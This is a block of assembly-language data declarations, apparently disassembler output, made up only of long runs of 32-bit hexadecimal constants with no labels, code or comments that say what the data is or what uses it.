		dd 2A013662h, 80BCED73h, 14384D8Ch, 472EA491h, 8A8B6FE4h
		dd 0C01440ABh, 9077AF46h, 11462108h, 0ACFECD02h, 0A7452C5h
		dd 85F2E470h, 0A91019Eh, 0C83B113Fh, 4EB0DFE9h,	0B8A148ECh
		dd 542956h, 0C29BEA1h, 9CC204B7h, 7C059FC8h, 0D0802F3Eh
		dd 0BCE9EDDFh, 5D5EA369h, 0B1E34C23h, 42E04B05h, 0E4AF00D3h
		dd 8AEB3031h, 1901CF12h, 0E046E32Ch, 58238B80h,	0C5E54906h
		dd 7200693Eh, 405474F2h, 0EA1FB24Ch, 23833DD7h,	0C56924FEh
		dd 2C9340C4h, 980001B2h, 13A5A6EDh, 5A0AFBDFh, 0EF071C1h
		dd 790C01F6h, 25FA4A18h, 989B4418h, 0A89F79C1h,	9A696510h
		dd 0BD449988h, 1D972C00h, 5FEB4B16h, 48EF8003h,	0E17DF0FBh
		dd 6440C217h, 1C1AB265h, 4057C5EDh, 6172483Ch, 0EE02AFFAh
		dd 8E53B82Eh, 9CFCD044h, 0A8744038h, 51005975h,	220AD06Bh
		dd 7545A64Ah, 0C3970B3Ah, 600BF210h, 0CD1F3CA2h, 6750FCE4h
		dd 0DC010564h, 1791B78Dh, 93208C08h, 0DE84BBAh,	359A3084h
		dd 9C3364h, 0B0EA43F7h,	1F3D7761h, 12DAF00Fh, 4A5800B8h
		dd 6230E0BDh, 0C7556618h, 11D1071h, 0C0FCE3EAh,	50C6279Dh
		dd 3F92DD64h, 2FFBF00h,	0EE88D468h, 0CB70CEh, 9620FE1Fh
		dd 54D2DFECh, 2C834C99h, 0D0783284h, 31B599Bh, 5F257CD5h
		dd 0CED03B9Eh, 0E501C1ADh, 2A8FC7DFh, 0C31FEEEh, 0E96E9C20h
		dd 0C6D43004h, 5C1FADA2h, 6C9F9552h, 82943200h,	0E6A30617h
		dd 3C514856h, 58AFB900h, 67EB1D96h, 1CCC49h, 0FC1B6021h
		dd 73D886F7h, 31855BD7h, 6C3C8FA0h, 6DBB8098h, 5A4317h
		dd 0A52CF386h, 0ED89B31Eh, 0B69F6500h, 443BCB58h, 528CBE4Ah
		dd 38AE1760h, 0FF11E300h, 0AB7DF7D3h, 3CF61236h, 2164DCF3h
		dd 0A0308E41h, 256200CDh, 6B34B847h, 0C417CAA3h, 0B020C56Ah
		dd 202B28Dh, 5C868C30h,	0BC413977h, 0A1A068A3h,	2F886BBh
		dd 7647002Eh, 6BF9DF4Fh, 1507FC2Ch, 4514E382h, 13C63DE1h
		dd 0C8015C44h, 468DF85Fh, 0E82678CDh, 90B32D12h, 906C9AE4h
		dd 0EE673102h, 0C256C180h, 6BD811FCh, 3B43E4CCh, 8780F6D6h
		dd 397FB37h, 0E600F5BCh, 0A0B49AD2h, 0E8D3805h,	2A3F1E55h
		dd 1CEEF189h, 8B1C4176h, 841BAA6h, 8D28121Ah, 0D6DD2A30h
		dd 472C8C20h, 0A7883101h, 492AD779h, 0FE6AA042h, 0C90270Bh
		dd 0AE000EAFh, 51622720h, 9EEC248h, 4943C49Ch, 28B0E600h
		dd 59016AE0h, 7AD0DFEDh, 0C474B6AFh, 4E018643h,	0E74ABAEDh
		dd 3870E66Ah, 6BD205EEh, 82C0C9F3h, 0F027F4DCh,	0EC74C170h
		dd 0CB4B01C7h, 56B8D19Fh, 60F431EEh, 389C1248h,	0DF74E140h
		dd 0CE2F01A2h, 37D6BF56h, 41A0D8F9h, 0E78DD700h, 0C4B89C5Bh
		dd 9F470049h, 9D72ED1Dh, 0DC000F64h, 0A4E4CAD5h, 0CD2A81h
		dd 87559A61h, 0F163D4F9h, 57BB3F0Ah, 0B8208058h, 0B49E3C28h
		dd 3783458h, 0AFC93641h, 888DDC43h, 9030D2F4h, 0B1334BAh
		dd 5F8B220h, 0F64E8F1Dh, 81D35E80h, 0EDC11F4Dh,	61AB412Ah
		dd 0F835310Ch, 0ECA5C2B8h, 0A2568400h, 138F8CC4h, 86D8BB3h
		dd 998AC918h, 0F11CD345h, 0F9CB4F40h, 7CF35AE4h, 51660930h
		dd 5051D334h, 2855F200h, 0F7FEE0A3h, 3800BDE3h,	84BA7C75h
		dd 5EA8003Dh, 23D236FBh, 2C2CE8DBh, 490774B6h, 4A2047BBh
		dd 901AF4E3h, 7C6158B8h, 82D56C0h, 0A700B8B1h, 0A4CA4AE4h
		dd 0B7CF2Fh, 3BA1948Dh,	0FD4074B4h, 0C555B518h,	12D0179h
		dd 926CC48Fh, 0ECC6E19Ch, 861677CBh, 0CC88D1A8h, 3C000A5h
		dd 0AE996E8h, 0F67F26AFh, 1C788D00h, 0BC0BBF32h, 0C5EC127Dh
		dd 0CC6024F9h, 1A01F894h, 74FCFF6Ah, 0D5FFC09Ch, 2A93D81Fh
		dd 80431808h, 7586FB79h, 19011CEFh, 1B7F3062h, 0E6D4C5CEh
		dd 172FFC46h, 30FE2DBCh, 0D63E81C8h, 951D1B0Bh,	0A54843Ch
		dd 0C5DFB941h, 0B508403Dh, 7F225D54h, 0C4C0811Dh, 6ACBD410h
		dd 0AB672700h, 445E1D84h, 19D014FFh, 1F172098h,	45B4C8B7h
		dd 0BD35360Fh, 51B08D69h, 7D6B0BF0h, 0BAEA0E6Eh, 4C61EE65h
		dd 7847440Fh, 0C5A38804h, 14ECB34Ch, 0C088C871h, 0D58D8376h
		dd 92EE1C74h, 12C40021h, 0E0A794AEh, 7CB82D3Fh,	90B52425h
		dd 16D3C5ECh, 841B9943h
		dd 0CED48010h, 0C704FBFEh, 0A479DC51h, 0CDD0C8h, 243F3A02h
		dd 72F36AEFh, 452C477h,	4A450598h, 90C02836h, 0B8847A2h
		dd 562A824Bh, 33698848h, 3E181300h, 0D194AFC6h,	23240258h
		dd 41541275h, 39009059h, 0D5B2A75Dh, 85580194h,	0BD2CCC44h
		dd 0D9483034h, 0FF80D899h, 0F485D521h, 0FCC73253h, 1CE89D70h
		dd 51CE8067h, 0EA87A068h, 4D89D2h, 0D981A9BBh, 0D66C5B98h
		dd 319F4927h, 281911B8h, 0C1418FFCh, 8443C8A5h,	526E170h
		dd 9C9D4B40h, 8BA404ADh, 35960110h, 98306848h, 47C2450Dh
		dd 64807830h, 57D654CEh, 4226003Eh, 0E539CD2Dh,	0FD31B91Fh
		dd 0A1889BCh, 0E4202C17h, 94C45480h, 483486A8h,	942C6862h
		dd 6BE094BEh, 1F7B110h,	4B283A21h, 0DC15F2B6h, 0CE16A2A4h
		dd 54060346h, 3159BE48h, 1379C3A0h, 22642317h, 7684866Ch
		dd 63FB042Bh, 0C37C2D6Dh, 9BB2451Eh, 9498E062h,	30FAC04h
		dd 0A91209C9h, 80488E2Fh, 91809D43h, 6CC54889h,	60B04982h
		dd 0A41030A0h, 1500A798h, 95BC29DEh, 0E29CAD3Dh, 99440945h
		dd 58100BF7h, 32D05CDh,	0FB405B2h, 0A06A1C80h, 90F651FBh
		dd 0B985C047h, 2FC698C2h, 0CD3A680h, 0B2E868E9h, 0CCC5E11Fh
		dd 20C46915h, 0CB2820E2h, 0EF4A301Eh, 633EC6C4h, 3B5B8A0h
		dd 24A6F2D0h, 2920DCB9h, 0E4D45837h, 224DF711h,	5A91002Ah
		dd 0DE67C283h, 0EE07A181h, 0F4B5FCC1h, 18BA1021h, 248AC9F4h
		dd 2CF0B123h, 133460D8h, 6300D004h, 0F8A4EF40h,	22CA929h
		dd 6306166h, 0ACE0A631h, 350F8F12h, 296345Ch, 604B39CEh
		dd 92A09910h, 92B9F884h, 0D0B60278h, 0B0249A3Dh, 82A1871h
		dd 0D8094031h, 0C500C9A8h, 68A11547h, 7F9F101Fh, 0E080065h
		dd 0D97A0C2Eh, 0EB0032A1h, 0AC6274A2h, 5B7E1004h, 711043C2h
		dd 0DEA89397h, 0AF1FC38Dh, 83C995AAh, 92BCB3F0h, 0B7C41EDh
		dd 9C9EE010h, 0EE9FA009h, 0D8C42Bh, 693D2207h, 3AAB27BEh
		dd 0F01AF700h, 3554C92Ch, 0C79026F4h, 0BC2409C8h, 4CA810EBh
		dd 0E4B4441Ah, 4A516B40h, 81C0B8C6h, 8103670h, 5E48AABDh
		dd 0D0122C59h, 2216A832h, 8CC4BC1Fh, 0A700C4B9h, 198A0797h
		dd 28727Dh, 30EE136Eh, 0BF512E3Dh, 42A67915h, 64F012B8h
		dd 80A54823h, 1023823h,	7DFF689Fh, 6836BDADh, 816680BCh
		dd 1E6149FEh, 0F79596h,	5370524Fh, 0F12672DBh, 253BBC76h
		dd 247860E5h, 50B496C4h, 6E0EE68Ah, 5B1CE94h, 3000B2BDh
		dd 5CF542DAh, 0E13E0750h, 7EDE11B5h, 0FE942461h, 13C686Ah
		dd 0E048B142h, 54228B4Ch, 0F9BC804Ah, 6200DFAFh, 67BD1CF8h
		dd 0E921B6Fh, 0F661CB4Ah, 0D4EE413Dh, 53C28B79h, 0B0225480h
		dd 90B665A1h, 0AA42C0D9h, 0AF16A36Ah, 8C11622h,	0D21024B2h
		dd 43009B5Bh, 0C6EA7750h, 1FF913E2h, 57613772h,	0DF890004h
		dd 0CD10F295h, 0E8AC6A29h, 0F1397B01h, 67FC5F40h, 0D37D06A3h
		dd 98EDE7CDh, 0C00EA417h, 652098h, 2FE36089h, 73C3D457h
		dd 0ECB1D900h, 1141B93Fh, 5A10583h, 0F4406791h,	0F912CCC4h
		dd 70A2C434h, 492E1022h, 4E11285Eh, 50320051h, 15580B03h
		dd 0DF987ED9h, 0E7739321h, 1ABA8800h, 593B6C85h, 38D902ECh
		dd 6AA80C6Eh, 0F4471474h, 15C010B7h, 210694h, 887FE872h
		dd 65892B3Eh, 31D6D502h, 0D176B7C0h, 44901464h,	0E6B0C440h
		dd 0B38EAB8h, 0CCE04CA3h, 0C9E80CA6h, 0F8B2F8F6h, 4F1F4144h
		dd 796C88C1h, 5C428A4Ah, 0E0D64DF0h, 91C6D338h,	75CB80A8h
		dd 0AB035B02h, 0D2908E0Ch, 45B94834h, 253420C8h, 0D1B5E28Bh
		dd 9C44A71Ch, 0EF21CE00h, 0B7473781h, 7B6700EAh, 59F7C0AEh
		dd 2F12B625h, 8013A2D4h, 2D47E868h, 20101070h, 0EF002502h
		dd 90A24D57h, 95B3677Ch, 13653420h, 97179238h, 0CC89E43h
		dd 994286A2h, 1E56B313h, 0C41F0940h, 4D000044h,	6B37F074h
		dd 0D31906C5h, 6AE48839h, 98B98DFh, 0C66412D8h,	7A87D9Ch
		dd 25656CF2h, 4563B01Bh, 4CF86BD3h, 31412E0Bh, 6A3884A3h
		dd 0CE1D1300h, 2360BADDh, 3685A108h, 577C392Eh,	0CDF96280h
		dd 9EFE9DF7h, 4F391700h, 219C3381h, 0FDDE0014h,	84C7C816h
		dd 0B600321Fh, 0CE28A1DFh, 3875887Dh, 4A00CA86h, 0F031794Fh
		dd 21DEEE49h, 7115BA0Ch, 0E5983CC0h, 0DB7FEF0Ch, 0DC107221h
		dd 1063CD67h, 8788E82h,	1E14A800h, 0B15BEEFDh, 8CD5387Fh
		dd 7C105D01h, 858F8398h, 8814EA29h, 23E0C203h, 4B2ED87Eh
		dd 0EF960C9Ah, 0FD59D54Ah, 0A97C3B15h, 6F800030h, 849F8BF4h
		dd 3C780003h, 0A731D50h, 0EC31B64Ah, 2DAE3994h,	5429C180h
		dd 47D877FEh, 2CC5A00h,	6B34F7EBh, 73FF7B2Dh, 41E51C27h
		dd 0C1955E4Eh, 84632E44h, 0D3B8E747h, 0B81417AAh, 5AE49A9h
		dd 0CF54EF94h, 80917C08h, 0D60BA03Ch, 0CC002EFAh, 1381BB12h
		dd 82F94Dh, 0BC21796Dh,	0F50FCD4Eh, 52EF9CA8h, 0CC49E461h
		dd 0B18A291Ah, 80ACD811h, 783C9152h, 190C4F22h,	0A872CD60h
		dd 106A0254h, 5CA42DDAh, 0E5281C80h, 0C150D968h, 48339BA4h
		dd 3F358E6h, 0FAB87A71h, 10DEE5AEh, 5A38C100h, 0CD7F9764h
		dd 4CFF5415h, 16C0A6E5h, 74E0AAh, 121C4F57h, 0B85048F0h
		dd 7F189010h, 4928FB94h, 991138DDh, 2789610Ch, 480AA698h
		dd 5410CC3Eh, 8B4D6B00h, 0C2B9E54h, 0FB113715h,	0B589D9C1h
		dd 0B05298D1h, 5C772096h, 0DA01E3D1h, 1D814575h, 5894D82Ch
		dd 57105CF1h, 583680E0h, 0D09C5EFFh, 0A6079C41h, 6349B59Dh
		dd 19008782h, 0A2FA5706h, 0FF3A80h, 0F68B1AB6h,	9962FB9h
		dd 3C394A90h, 9205BAD0h, 1440DF04h, 4D2A3580h, 0DD09486Ah
		dd 4836EC0Fh, 19F382A0h, 942ACB30h, 2801B475h, 49D06838h
		dd 0ACF09DD4h, 0B519C644h, 0A000B1CAh, 4B538FFEh, 24CBC36Ch
		dd 3F0EE4h, 633D6ACCh, 0B10A0D4Ah, 0AC7F67FFh, 0FC739485h
		dd 80E72408h, 6B293C8Fh, 0C001707Fh, 3FAB135Bh,	74C481E9h
		dd 179CA495h, 1FA847FDh, 0F0D0F718h, 822D1475h,	0BAD40654h
		dd 35ACF054h, 427F7E00h, 18DA58AAh, 0D4D4A057h,	5A311C48h
		dd 0FFF3C0B5h, 0A5F7B116h, 39BD4212h, 41FAC00Ch, 0DAB70006h
		dd 0F5D724Ch, 0B93A6F0Bh, 804CC8CCh, 0A0FA2E48h, 0F84C12A2h
		dd 5ACB0A7Ch, 72410E74h, 8CB43072h, 9C00FCC3h, 0DA38A4Fh
		dd 67FDE2h, 3EC605BAh, 2E65371Fh, 0DF0CFF00h, 0B7599C38h
		dd 0D3C81E2Dh, 7398EA11h, 7F00Eh, 3457606Bh, 0B69C3F48h
		dd 43BB7E03h, 0A56EC5B7h, 725184Bh, 5F40F799h, 1BA69Ch
		dd 0D4195AC9h, 62739A55h, 0EFA27204h, 0CC85648h, 0AB9A8888h
		dd 0B560E600h, 0E10E0A17h, 0BDF60357h, 9337D90Bh, 2A5C7BA0h
		dd 0E8105A29h, 0FB0A3A07h, 96016750h, 559A00BEh, 92185B2Dh
		dd 5906815Dh, 0D6A79498h, 0F2E1431h, 7C00E440h,	432CF93Fh
		dd 0D3627094h, 445DFF21h, 0CF40A184h, 0E0353811h, 0CC60B6ADh
		dd 5C75C8B9h, 4A403B6Fh, 0AFF6D682h, 0F940E683h, 41E837FFh
		dd 8AAA81Dh, 24A7EF83h,	0E253A197h, 13CC418Ah, 9D41CEECh
		dd 24DA5311h, 688AE954h, 382490AAh, 2900878Bh, 60AB0814h
		dd 0CC71C123h, 0A94A1635h, 46A93444h, 813BAFC1h, 4C940970h
		dd 0E2807CA6h, 0B748ECFFh, 0D600A891h, 0A2595B92h, 17771ADh
		dd 6DEB7A90h, 0E8244D4Eh, 130221D1h, 71911702h,	5A8891CAh
		dd 694CD0D8h, 640268FBh, 0A4997491h, 86A80C65h,	8788E8D0h
		dd 0BA1373C1h, 32A17818h, 0D83041DBh, 1600502Ah, 37249BEBh
		dd 448CB07Bh, 6800F887h
		dd 17232E67h, 0D6708Eh,	0E6807BF0h, 19332012h, 0CC43590Eh
		dd 0EF61F818h, 0F9D3634Bh, 49018582h, 0B26236D9h, 53FC24EDh
		dd 0C0D51D71h, 7DD4C02Dh, 0ED85CD2h, 7A948E14h,	4212C0A4h
		dd 318E0A8h, 0FC1C8252h, 0F8216636h, 0F9A60886h, 80FCB594h
		dd 4781DA2Bh, 0FECC06B4h, 9844BB4Eh, 1A6EDB44h,	308CC1DAh
		dd 0F48B9440h, 0A0C2698h, 51C57391h, 42351A9Ch,	44705Dh
		dd 0A11CBA30h, 0BE31F0h, 0B5804B15h, 3D2F6295h,	0CA433A00h
		dd 2A3EAAF7h, 7B940B14h, 0B431CCB3h, 840D0C7Eh,	0CD524CF8h
		dd 8F229Ch, 31BAA921h, 2E93DC15h, 0E9BF1E2Ch, 7021191Bh
		dd 0CA3416C0h, 0B97C0A82h, 4D6A010Ch, 64DA9A88h, 0D7601114h
		dd 0C30974D9h, 435F16C8h, 767830F9h, 100AF81h, 0FF6C4194h
		dd 1BE457h, 8822F1FDh, 0DEE385FAh, 0B4B64929h, 0B9409500h
		dd 704D64Eh, 0D0E7B14h,	0FFD706Eh, 62012DBDh, 0D9646718h
		dd 1032119Bh, 1237A800h, 0E0FA613Eh, 0BC2E7036h, 0A4FC00B9h
		dd 0AF014AF8h, 0A7002916h, 0CD7E64E3h, 0BAA20C1Fh, 94920138h
		dd 0D7FAE77Fh, 9898472Ch, 0B2A4E680h, 0AB7EDAh,	56D7B395h
		dd 8106E443h, 962C9104h, 4C8C2E5Dh, 0A6501A3h, 0BF3A1318h
		dd 0CDF6C036h, 7324A200h, 824F1D4Ah, 423D2851h,	9D793EE4h
		dd 9728B12h, 281A54B0h,	43D4B004h, 807A0FBDh, 14126166h
		dd 0CC2C7E7Dh, 0C42AC6A2h, 4CA27829h, 9B783Dh, 84228CA2h
		dd 3A8E442h, 0A4C037BDh, 69A89904h, 0DC0A3862h,	44DDE66Dh
		dd 10E21032h, 2A6115CCh, 9D1BC161h, 30CA7092h, 2DB40CFCh
		dd 0E51F08C1h, 19C8DC72h, 507CB0F9h, 15A14CDh, 0AFE9E6C0h
		dd 0D09D4D7Dh, 84984986h, 0D8B898ECh, 8F11621h,	7581DB51h
		dd 85E4A8A6h, 6FE3F430h, 0D81451E1h, 89754B80h,	8003BA3Eh
		dd 6F32236Dh, 3DB0970Ch, 0BFA69Eh, 2F789D46h, 71A94D62h
		dd 0F52EE401h, 0D0B56836h, 0A5AE6987h, 627C0DFh, 5C1FCD44h
		dd 0DA474983h, 0E5C1DB9Ch, 68D1C133h, 16CC6E6h,	0AFA53FA4h
		dd 0D81AD2F8h, 8400AA7Eh, 6EEB6A6Dh, 13737DC0h,	19987C3Bh
		dd 182C83Ch, 0B501DE87h, 0F68180E3h, 778A86Ah, 1225029Fh
		dd 7EEE77B1h, 0FD0030C4h, 5AD8B521h, 75C15BFh, 0F4A256Ch
		dd 0C7CCC472h, 0CB96B210h, 0A900B853h, 0BB08849Ah, 476124C3h
		dd 0C8210478h, 44A2DEh,	34350FDAh, 514E4724h, 1430F079h
		dd 582B5D5Ch, 8C8EEF00h, 5BCC49AAh, 0F950BF12h,	0F06E3C0Ah
		dd 0A936FD60h, 0E76A0197h, 0AEFAF757h, 0CC21A3EEh, 1DA99240h
		dd 0D1113742h, 8F0C6749h, 0BC3BBAC0h, 0D0008425h, 0FFC7F25Eh
		dd 0C01936E0h, 0CDACCCC0h, 0F1D2B615h, 0CA75E48Ch, 1D88AB20h
		dd 0BD586087h, 479D1984h, 19827A39h, 0B1814EC1h, 9B638060h
		dd 8C80E496h, 0C524FDE8h, 17CC262Dh, 325164BCh,	0EC00120Fh
		dd 73AC90EDh, 0D28CE148h, 80D94880h, 0FB88A117h, 697BA610h
		dd 0F02C9500h, 0CFD1ECA0h, 7C3C160Eh, 0B88414E9h, 70A9A0D9h
		dd 7F023518h, 9D5D2E4Ch, 0D1D08680h, 548F081h, 99E9FFE7h
		dd 94901D0Fh, 7F3080C8h, 1C4EC449h, 49EE7304h, 2890A22Eh
		dd 650EA16h, 0B566DC96h, 6100D9CBh, 9C1C7E98h, 0FDF36h
		dd 580A9785h, 0C134EC6Ah, 83F92925h, 0A9F03A9Ch, 0AE119766h
		dd 0A9718019h, 5B1A01B7h, 78880734h, 40049CF7h,	0B05A20BAh
		dd 0CFD02F5Ch, 8040DED5h, 0ED705369h, 442E008Ah, 0B5B25D2h
		dd 9F091D2Dh, 42AC4CBFh, 135C98F4h, 0B5C20084h,	0BC54468Dh
		dd 0B805A89Dh, 8749475h, 6C40E894h, 2667EA87h, 9185002Fh
		dd 45B4EB49h, 62314FCCh, 46EF5A20h, 0C228020h, 8161FF11h
		dd 71489469h, 600F9FF8h, 28D89293h, 6E981D47h, 3B71C302h
		dd 90294D78h, 0E50388BAh, 0B09E4A63h, 0D83617h,	0B2D1E24h
		dd 9DA57049h, 5FFF520Bh, 1B10AB8Bh, 30F188B4h, 43E90026h
		dd 76B81312h, 870C88D0h, 0F0B634F0h, 9CBA4C6Dh,	8EAE9480h
		dd 7E057680h, 2FD81E8Dh, 3BB8CCC0h, 0C8B9488Ch,	0E1309680h
		dd 0D1004F5Fh, 3C6EF3Ch, 48042147h, 29221CC5h, 402D6137h
		dd 609A4DA2h, 89DA7A5Ch, 97CF10DEh, 666817D0h, 0E6400842h
		dd 270ECC85h, 8BDAE8CCh, 8FF4AFD9h, 0A0C79D89h,	0B783B547h
		dd 75960187h, 7CBE534Ah, 0E0CB5461h, 5A00DD98h,	6F2468CDh
		dd 90424877h, 69308038h, 6F63C72h, 17BC1F24h, 5B1C01E8h
		dd 80D1B5C3h, 35F31579h, 1E89D9B4h, 716C50h, 6B267330h
		dd 0B03E3DE1h, 0FA2F8549h, 74C9AD90h, 0A498CC03h, 4C494100h
		dd 297C9DF7h, 813B5E34h, 6758C030h, 0DFBC3B9Eh,	6BC89A00h
		dd 0B1E068D9h, 9BCECB04h, 2EF9D48h, 14CC0416h, 9C006089h
		dd 1EEC7BB4h, 0C051FA12h, 0A32CC8h, 8E2C9832h, 6785EF06h
		dd 81786204h, 5E831869h, 0E05858D9h, 4DEFDC0Bh,	0D8358849h
		dd 0E100BA74h, 0AD220142h, 1AFF60A6h, 0B9268F5Bh, 0E800287Ah
		dd 0E7DC1022h, 10E3853h, 0A6DFF8F3h, 4C68E658h,	94996934h
		dd 0B9AA3B00h, 0FBEF99C6h, 49C7543Ch, 4771D026h, 0E50044C9h
		dd 7018E1D9h, 13541E6Ch, 7741FFh, 465A02E5h, 0E4009958h
		dd 6671E557h, 0FBB812h,	64FA4116h, 0DC73A760h, 852BEB03h
		dd 373E6CE0h, 4C944651h, 0EB6F8A38h, 6E708008h,	1BACFD5h
		dd 3B6A8635h, 80D4FE50h, 0B020FB29h, 7B81796h, 0CD52D213h
		dd 10074742h, 88D1C987h, 185E1C00h, 75954F11h, 0B7BA1866h
		dd 0EBFE90F5h, 0F6D749C5h, 0DF4CC900h, 0A0A305Bh, 0D369463Ah
		dd 4CEC1148h, 0F81224E0h, 78A4B101h, 0ABD4C59Ah, 0D1C23FA9h
		dd 0D147D018h, 56011602h, 0AB8E9909h, 80E7BB9Eh, 683B3E7h
		dd 0FE6FEDF0h, 7A0061D8h, 85B44D9Dh, 1F5E3419h,	0CC77E910h
		dd 6179DF6Ch, 6271EF00h, 0C4A66DDAh, 0FEDC3E3Dh, 1575B4D4h
		dd 0A0D0BE12h, 255CA07Ch, 202B07EEh, 0E3F80B1Dh, 90E08CE3h
		dd 0EF051701h, 0FE02DF3Ch, 3403A1C4h, 1EBB64F5h, 41598549h
		dd 0D3627F78h, 0AB02CCA0h, 0E2ED8018h, 60F961h,	8C0D484Dh
		dd 0F61D899h, 49D049C7h, 0CCF0048h, 8E123CBCh, 7A5E3E00h
		dd 0B073A64Ah, 6702249Bh, 60D86110h, 3E2042E6h,	0E36F7422h
		dd 0A9A9DB90h, 1847BA5Eh, 38008AF5h, 45754E24h,	9FA5018Eh
		dd 0B972CCCFh, 0B71060C4h, 2CB2A901h, 48D0E85Eh, 0EFAF5984h
		dd 0D28C01Eh, 0AC014F2Fh, 0BA0A803Ch, 2C408185h, 0F492ED26h
		dd 0F3C800D7h, 8A05AE9Eh, 8205B1BCh, 63DF7410h,	88C411h
		dd 76C498B7h, 0F24E1E16h, 61D600D1h, 0BC4B1083h, 0E7242906h
		dd 539348DCh, 46DE5A01h, 41BC196Ah, 924CA548h, 97F4157Fh
		dd 0D900F08Ah, 2E90D275h, 0D829DCEAh, 1200D85Dh, 0AB03200Eh
		dd 156C91BDh, 0D834E0EBh, 3FA82224h, 71D47F20h,	75A803FAh
		dd 0D264E603h, 7CED313Bh, 5ED83D0Eh, 0C0E49526h, 22ACCEBFh
		dd 0DA6D00D6h, 0FF581216h, 3E009C4Ch, 0E5547565h, 0CE075DE0h
		dd 27D24631h, 5168C670h, 67F653F8h, 0F13C2C07h,	0C94C624Ah
		dd 897860C0h, 1DB6F785h, 0BA094977h, 1E198605h,	70510070h
		dd 0AF8FB6F6h, 538C252h, 364980DAh, 8448AA6Ch, 0FDBA05C6h
		dd 4077F4D6h, 0BFE94E1Ch, 600500Eh, 69841052h, 2E450BE4h
		dd 6D0C413h, 71D864BDh,	16CAB0Fh, 8EED203Eh, 1DA782EFh
		dd 9247147Ch, 20C404D1h, 0B14DCE2h, 0F34CA300h,	0B28E5F73h
		dd 81DB17F5h, 0E8FF0AA2h, 0E8D1164h, 806F6A10h,	2A9060B4h
		dd 0F7C10033h, 9E4EECEBh, 0AA02F6B7h, 0CA644F7Dh, 7A384640h
		dd 0C3E00032h, 8CD3DB56h
		dd 0EE1295C1h, 240EF9D0h, 0DC408086h, 189F7D65h, 39CEFEDDh
		dd 64314E75h, 2B9E89DEh, 98D601FCh, 20A702FCh, 71A6986Dh
		dd 6453D460h, 543D2EFEh, 0D8902A94h, 6A47610Ch,	52E0F943h
		dd 5001F065h, 0C81297ECh, 0FC61A4E6h, 0B808A213h, 0B02B80EAh
		dd 3EA35906h, 1105B109h, 0FE6018DEh, 2C29C0D6h,	0AC64131Bh
		dd 9C532924h, 6046E903h, 0F9210CDCh, 0D792CC9h,	7A2DE601h
		dd 0C40F2E10h, 7A556060h, 357205D8h, 538EB909h,	0A23C0088h
		dd 88AC65EAh, 0CCEF8300h, 0E5A0C448h, 9D4F09D0h, 0B787F3DAh
		dd 34D1C067h, 0CCFBB4FAh, 2CF2C4D5h, 54CB0204h,	0A387AF11h
		dd 63F3605Fh, 0E92A438Eh, 7B534086h, 0B4F8488Dh, 0B0F61900h
		dd 0EC694061h, 2FF00003h, 6BB1D1DDh, 609F4326h,	3BDC5B3h
		dd 0C33D1916h, 893C5A6Fh, 1E49EF52h, 3C2ED780h,	683EB8Bh
		dd 0D2229712h, 0A500219Ch, 981C6D25h, 0C05D74C3h, 449A6441h
		dd 8230E740h, 249530D8h, 0F53E1CC4h, 43C7ABDh, 0BCA13D79h
		dd 3083F29Ch, 0B9819E21h, 261B3018h, 520410h, 737B48C3h
		dd 0B308A12Ah, 1B060A0Ch, 0B212Bh, 0BB5FC9DDh, 7D91679Ah
		dd 0D700937Bh, 251285B3h, 0C64CF3h, 0AD9BC4F8h,	35C08CF2h
		dd 6B53A31Ch, 0FB68837h, 7FC41E08h, 0C8007D22h,	0D4B69C3Eh
		dd 60007DC2h, 0EB2C6A9h, 65B1F57Eh, 18F3C1F6h, 541BB9E4h
		dd 687E91C0h, 11C25Bh, 3D982808h, 7F03FD3Ch, 3528C3Dh
		dd 1B0109B2h, 0CE31003Fh, 4D58A99Dh, 0F9002AF8h, 4A3382F2h
		dd 6087F3E0h, 48A46101h, 840C6625h, 0B12C413Dh,	3B82300Fh
		dd 44BF4349h, 0CC53A418h, 35C1AA1h, 98E2D0BAh, 83C9C3E9h
		dd 0B3E06F44h, 9C59C2FCh, 37612B35h, 1CD541A4h,	9F51802Ah
		dd 0B29112D3h, 0C7B40471h, 0C7418EE8h, 0EA0720C5h, 0E026467h
		dd 0A136614Dh, 3D448749h, 0DE40A86Ah, 60AD4E7Ah, 0CEB31105h
		dd 9200066Eh, 0FB731A4h, 0C6C3FA80h, 0B9CB5338h, 0A2009D76h
		dd 0DA39C4EFh, 1F9B4648h, 0C0F5834Ch, 0FD89BBA4h, 0F8777259h
		dd 25427900h, 243B21BEh, 0D980F526h, 9DF451E3h,	0DF480197h
		dd 0E098003Ch, 234B7942h, 29FE6029h, 8B55456Eh,	9ED1903Ch
		dd 0ABCC4103h, 0C6B108h, 71379287h, 0FFD1230Ah,	0D9FA0B7Bh
		dd 0F9BA4502h, 40DBB14Eh, 4948FC30h, 9603344Dh,	0D7C1D43h
		dd 256EA006h, 18719329h, 0E9F25308h, 0CD003F09h, 61B49F0h
		dd 729F4Ah, 10FCED8Ah, 0E5DC6C0Dh, 1B390567h, 0AC00902Eh
		dd 89CC7801h, 4F01EE8Ah, 4E71239Ch, 0A843A5D9h,	2C297325h
		dd 0F33CA8Eh, 66E1A045h, 0FC2C37DCh, 0D0002044h, 0A3EE7182h
		dd 490383B9h, 0F50CAC0Fh, 0F3A1C7A4h, 64948B52h, 0E95AC318h
		dd 0DA02D818h, 0E8D37F05h, 41828E20h, 0A41C8085h, 3C099BC6h
		dd 35A4DBB4h, 27450113h, 8AF1BAF5h, 0B809AD41h,	5B3B8880h
		dd 1562CCCh, 0A3BEE7AFh, 800EAD79h, 428A2121h, 0E38E70h
		dd 0EA60AA19h, 0B555992Ah, 1538F948h, 7B80381Ch, 8C58FD00h
		dd 0B9CA9612h, 0DB100369h, 1473DE7h, 9ED85101h,	0B053ABBBh
		dd 602930F8h, 2D86B9F0h, 0E004E80h, 0E9C9BB7Ch,	0E62571h
		dd 0CF7824EAh, 0BF61A1ECh, 0AD58790Ch, 0F395104h, 7CCE411Bh
		dd 3D7FB9C2h, 26DB0BC0h, 0AA3E21C0h, 68EA5BBh, 29CA214Fh
		dd 5F7019F5h, 6DE8E300h, 2237EAAAh, 0CDD701DCh,	2996ADA0h
		dd 0A62987FFh, 13F1112Eh, 0CB3195B1h, 1DFB4991h, 91002750h
		dd 0A8CE8E42h, 8D09046Ah, 0C00D8139h, 0BFAA8018h, 0A4304789h
		dd 0F3BD882Ah, 1107B100h, 15FC2ED5h, 770E3AD7h,	0E7178087h
		dd 7A0F0209h, 4A3D1881h, 29D98C0Dh, 1181FDh, 5691596Eh
		dd 8F3F3ADDh, 6AD3818h,	4F9229h, 6A13FB7Ch, 0F5A1829Ch
		dd 0D7AE8D13h, 0F9EEF830h, 31DA1C8Bh, 4DA340DCh, 331B0951h
